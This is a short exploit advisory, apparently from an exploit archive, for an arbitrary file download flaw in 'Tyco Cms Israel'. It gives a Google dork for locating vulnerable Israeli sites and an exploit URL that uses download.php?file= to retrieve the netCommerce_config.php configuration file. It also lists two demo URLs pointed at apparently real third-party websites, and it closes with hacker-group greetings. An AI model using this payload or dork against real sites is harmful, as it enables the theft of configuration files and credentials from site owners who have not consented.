# Exploit Title: Tyco Cms Israel - Arbitrary file download
# Google Dork: inurl:/prdPics/ site:.il
# Date: 2016-08-04
# Exploit Author: Mehdi.Haxor@SAHARA.H4xOR
# Vendor Homepage: http://tyco.co.il/
# Software Link: http://tyco.co.il/
# Tested on: windows xp + chorme.
####################################################
Exploit:http://localhost/download.php?file=netAdmin/netCommerce_config.php
Demo
http://eltam-eh-heb.pilot.tyco.co.il/download.php?file=netAdmin/netCommerce_config.php
http://www.iparks.co.il/download.php?file=netAdmin/netCommerce_config.php
############# AnonTigers #############
Greetz:To All My Friends